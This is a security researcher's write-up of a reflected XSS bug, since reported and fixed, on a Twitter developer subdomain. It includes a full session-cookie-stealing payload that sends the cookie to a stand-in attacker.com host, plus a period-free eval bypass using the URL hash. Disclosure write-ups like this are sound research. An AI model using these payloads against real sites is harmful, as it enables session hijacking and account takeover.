Twitter XSS Bug

I recently came across a XSS vulnerability on Twitter.  99% of XSS bugs are fairly straightforward and this bug was no exception.  Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise.  Nothing earth shattering or new here, but I wanted to document this just in case someone else runs into a similar situation.

Cookie scoping - Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com.  APIwiki is meant to be a resource for developers looking to utilize the twitter APIs.  Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)



With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place).  Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain.  Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.

The XSS bug - The actual XSS bug was found here:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=<XSS-HERE>

sdiff.php is looking to compare two different php files.  The querystring parameters named “first” and “second” both expect to have a php filename.  If an invalid filename was provided, an exception would be thrown and an error message would be displayed.  The error message looked something like this:



Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup.  The stacktrace contains our unsanitized, attacker controlled values.  Classic XSS straight out of Web app security 101.

The Payload – Now here’s where things got interesting.  Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:

&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php

Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace.  This second stack trace did not contain any attacker controlled data.  So essentially, I had to generate a javascript payload to without any periods.  There are a couple ways to do this… here’s how I did it:

1:  I pulled up the actual payload I wanted to execute.  In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:

var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

2:  I appended this payload to the end of the attack URL using the # (hash) symbol.  Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server.  An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (http://www.webappsec.org/projects/articles/071105.shtml).  In this case, I use the hash to get around the restrictions on my JavaScript payload.

&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

3:  Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods.  The JavaScript I want to execute is:  eval(document.location.hash.substr(1));  This would eval all the JavaScript following the hash mark.  Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part).  For example, the location property belongs to the document object.  The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’].  This can be done for any property and even functions, so our injected string without periods is:

eval(document['location']['hash']['substr'](1))

(kuza’s eval(window[‘name’]) should also work here)

The final URL looked like this:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=--%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies

I reported the bug to the Twitter security team and they addressed it in a timely manner.  It was a pleasure working with them.